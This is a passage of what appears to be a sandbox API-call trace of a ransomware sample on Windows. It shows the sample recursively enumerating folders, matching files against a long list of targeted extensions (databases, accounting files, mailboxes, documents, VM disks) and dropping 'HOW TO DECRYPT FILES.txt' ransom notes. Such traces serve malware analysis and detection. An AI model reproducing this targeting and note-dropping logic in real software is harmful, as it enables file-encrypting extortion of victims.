(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.raw") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.nef") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.svg") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.psd") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.vmx") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.vmdk") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.vdi") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.lay6") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mpeg") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.djvu") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.tiff") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.backup") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.pdf") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.cert") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.docm") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.xlsm") returned 0 [0104.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.dwg") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.nd") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.tlg") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.lgb") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mov") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.xdw") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.ods") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.wav") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mp3") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.aiff") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.flac") returned 0 [0104.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.m4a") returned 0 [0104.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.csv") returned 0 [0104.187] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92a4c8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f92a4c8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f950628, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.ni.dll", cAlternateFileName="NAPINI~1.DLL")) returned 0 [0104.187] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.187] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6a657f2f518f97b282702fce20033459", cAlternateFileName="6A657F~1")) returned 0 [0104.187] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.187] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x690070, cFileName="napsnap", cAlternateFileName="")) returned 1 [0104.187] lstrcmpA (lpString1=".", lpString2="napsnap") returned -1 [0104.187] lstrcmpA (lpString1="..", lpString2="napsnap") returned -1 [0104.187] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.187] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="napsnap" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap" [0104.188] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.188] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.188] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.189] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.189] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f64692e58aa1a7116024bf3c3cbd1352", cAlternateFileName="F64692~1")) returned 1 [0104.189] lstrcmpA (lpString1=".", lpString2="f64692e58aa1a7116024bf3c3cbd1352") returned -1 [0104.189] lstrcmpA (lpString1="..", lpString2="f64692e58aa1a7116024bf3c3cbd1352") returned -1 [0104.189] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\*.*") returned="*.*" [0104.189] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\", lpString2="f64692e58aa1a7116024bf3c3cbd1352" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352" [0104.189] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.193] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.193] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.193] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.193] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.193] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda0e10, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fda0e10, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fdc6f70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb0a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.ni.dll", cAlternateFileName="NAPSNA~1.DLL")) returned 1 [0104.193] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.193] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napsnap.ni.dll") returned -1 [0104.193] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napsnap.ni.dll") returned -1 [0104.193] lstrcmpiA (lpString1="", lpString2="napsnap.ni.dll") returned -1 [0104.193] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\*.*") returned="*.*" [0104.194] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\" [0104.194] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\") returned="" [0104.194] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\HOW TO DECRYPT FILES.txt" [0104.194] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\how to decrypt files.txt")) returned 0xffffffff [0104.194] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.195] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.197] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.197] CloseHandle (hObject=0x90) returned 1 [0104.197] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\", lpString2="napsnap.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll" [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.ems") returned 0 [0104.198] lstrlenA (lpString="*.ems") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.db") returned 0 [0104.198] lstrlenA (lpString="*.db") returned 4 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.dbf") returned 0 [0104.198] lstrlenA (lpString="*.dbf") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.myox") returned 0 [0104.198] lstrlenA (lpString="*.myox") returned 6 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.myo") returned 0 [0104.198] lstrlenA (lpString="*.myo") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbw") returned 0 [0104.198] lstrlenA (lpString="*.qbw") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbb") returned 0 [0104.198] lstrlenA (lpString="*.qbb") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbm") returned 0 [0104.198] lstrlenA (lpString="*.qbm") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbo") returned 0 [0104.198] lstrlenA (lpString="*.qbo") returned 5 [0104.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbx") returned 0 [0104.199] lstrlenA (lpString="*.qbx") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qba") returned 0 [0104.199] lstrlenA (lpString="*.qba") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qby") returned 0 [0104.199] lstrlenA (lpString="*.qby") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qbj") returned 0 [0104.199] lstrlenA (lpString="*.qbj") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.ofx") returned 0 [0104.199] lstrlenA (lpString="*.ofx") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.qif") returned 0 [0104.199] lstrlenA (lpString="*.qif") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mye") returned 0 [0104.199] lstrlenA (lpString="*.mye") returned 5 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mbox") returned 0 [0104.199] lstrlenA (lpString="*.mbox") returned 6 [0104.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.eml") returned 0 [0104.199] lstrlenA (lpString="*.eml") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.pst") returned 0 [0104.200] lstrlenA (lpString="*.pst") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.ost") returned 0 [0104.200] lstrlenA (lpString="*.ost") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.idx") returned 0 [0104.200] lstrlenA (lpString="*.idx") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.dbx") returned 0 [0104.200] lstrlenA (lpString="*.dbx") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.sql") returned 0 [0104.200] lstrlenA (lpString="*.sql") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mdb") returned 0 [0104.200] lstrlenA (lpString="*.mdb") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.fdb") returned 0 [0104.200] lstrlenA (lpString="*.fdb") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.wab") returned 0 [0104.200] lstrlenA (lpString="*.wab") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.dat") returned 0 [0104.200] lstrlenA (lpString="*.dat") returned 5 [0104.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.txt") returned 0 [0104.200] lstrlenA (lpString="*.txt") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.jpeg") returned 0 [0104.201] lstrlenA (lpString="*.jpeg") returned 6 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.jpg") returned 0 [0104.201] lstrlenA (lpString="*.jpg") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.png") returned 0 [0104.201] lstrlenA (lpString="*.png") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.php") returned 0 [0104.201] lstrlenA (lpString="*.php") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.cs") returned 0 [0104.201] lstrlenA (lpString="*.cs") returned 4 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.cpp") returned 0 [0104.201] lstrlenA (lpString="*.cpp") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.rar") returned 0 [0104.201] lstrlenA (lpString="*.rar") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.zip") returned 0 [0104.201] lstrlenA (lpString="*.zip") returned 5 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.html") returned 0 [0104.201] lstrlenA (lpString="*.html") returned 6 [0104.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.htm") returned 0 [0104.202] lstrlenA (lpString="*.htm") returned 5 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.xlsx") returned 0 [0104.202] lstrlenA (lpString="*.xlsx") returned 6 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.xls") returned 0 [0104.202] lstrlenA (lpString="*.xls") returned 5 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mp4") returned 0 [0104.202] lstrlenA (lpString="*.mp4") returned 5 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.ppt") returned 0 [0104.202] lstrlenA (lpString="*.ppt") returned 5 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.pptx") returned 0 [0104.202] lstrlenA (lpString="*.pptx") returned 6 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.doc") returned 0 [0104.202] lstrlenA (lpString="*.doc") returned 5 [0104.202] PathMatchSpecA 